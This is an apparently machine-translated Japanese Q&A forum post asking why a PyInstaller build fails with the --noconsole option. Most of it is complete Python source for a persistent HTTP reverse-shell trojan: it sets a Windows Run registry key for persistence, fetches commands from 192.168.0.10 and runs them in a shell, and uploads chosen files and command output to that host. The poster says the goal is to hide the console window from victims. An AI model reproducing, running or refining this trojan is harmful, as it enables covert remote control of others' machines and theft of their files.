--noconsoleオプションを使用したPyinstallerの「スクリプトの実行に失敗しました」エラー


0

私はPyinstallerのすべてのデバッグ手順を実行しましたが、ここでちょっとしたことをしているので、これに目を向けています。

いくつかの簡単なカスタムペンテストツールを作成してPython3に切り替えようとしています。現在、永続的なHTTPリバースシェルトロイの木馬を作成しています。完全なコードは次のとおりです。

import requests
import subprocess
import time
import os
import shutil
import winreg

path = os.getcwd().strip('\n')

null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')

destination = str(userprof.decode().strip('\n\r')) + '\\Documents\\' + 'persistence.exe'

if not os.path.exists(destination):
    shutil.copyfile(path + '\persistence.exe', str(destination))
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",0,winreg.KEY_ALL_ACCESS)
    winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
    key.Close()

while True:
    req = requests.get('http://192.168.0.10')
    command = req.text

    if "terminate" in command:
        break
    elif 'grab' in command:
        grab,path = command.split(" * ")
        if os.path.exists(path):
            url = 'http://192.168.0.10/store'
            files = {'file': open(path, 'rb'),'path': path}
            r = requests.post(url, files=files)
        else:
            post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
        post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

    time.sleep(3)

このスクリプトは、Pythonインタープリターで実行すると正常に実行されます。HTTP GETリクエストを使用して別のマシン上のサーバーに接続し直し、ユーザーのドキュメントのフォルダーにインストールすると同時に、永続化のための実行キーを設定します。その後、サーバー側でコマンドを実行でき、出力はPOST要求を介して送信されます。

明らかに、これをスタンドアロンEXEにコンパイルして真のトロイの木馬にしたいと思います。Pyinstallerのドキュメントで指定されている次のコマンドを使用して、これを実行できます。

pyinstaller --onefile persistence.py

これは問題なく機能し、スクリプトは端末から実行するかクリックするかに関わらず、以前と同様にエラーなしで実行されます。残念ながら、それは見逃すことのできない空のターミナルウィンドウも開きます。明らかに、これはトロイの木馬にとって望ましくない特性です。ユーザーの画面に別のウィンドウを表示したくありません。

以下、コンソールウィンドウが開かないようにする必要があります。

pyinstaller --onefile --noconsole persistence.py

このコマンドはエラーなしで完了しますが、今回はスクリプトは実行されません。実行されるたびに、端末でクリックまたは実行されたかどうかに関係なく、「スクリプトの永続化の実行に失敗しました」というウィンドウがキックバックされます。

これを修正するために大量のデバッグを試みました。--debug allをfreezeコマンドに追加しても、識別できる有用な情報は提供されないようです。私はすべてGoogleとPyinstallerの問題を経験しており、サブプロセスモジュールの問題とSTDINとSTDOUTの処理方法を示すように見えるものをたくさん見ましたが、スクリプトとサブプロセスをいじくり回すことはありません。 Popen呼び出し(STDIN、STDOUT、およびSTDERRのリダイレクト)がこの問題を修正しているようです。私は常に「スクリプトの実行に失敗しました」をスローする実行可能ファイルになります。

私はpyinstallerの現在の開発バージョンを実行しています。パッキングせずに(ダイスなしで)試しました。また、スクリプト自体のコンソールウィンドウを手動で削除しようとしても成功しませんでした。

だから私はあなたたちに目を向けています。何か案は?ご清聴ありがとうございました。さらに情報が必要な場合はお知らせください。


私は自分で問題を解決しました!このページのアドバイスをもう少し詳しく理解
Ruri
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.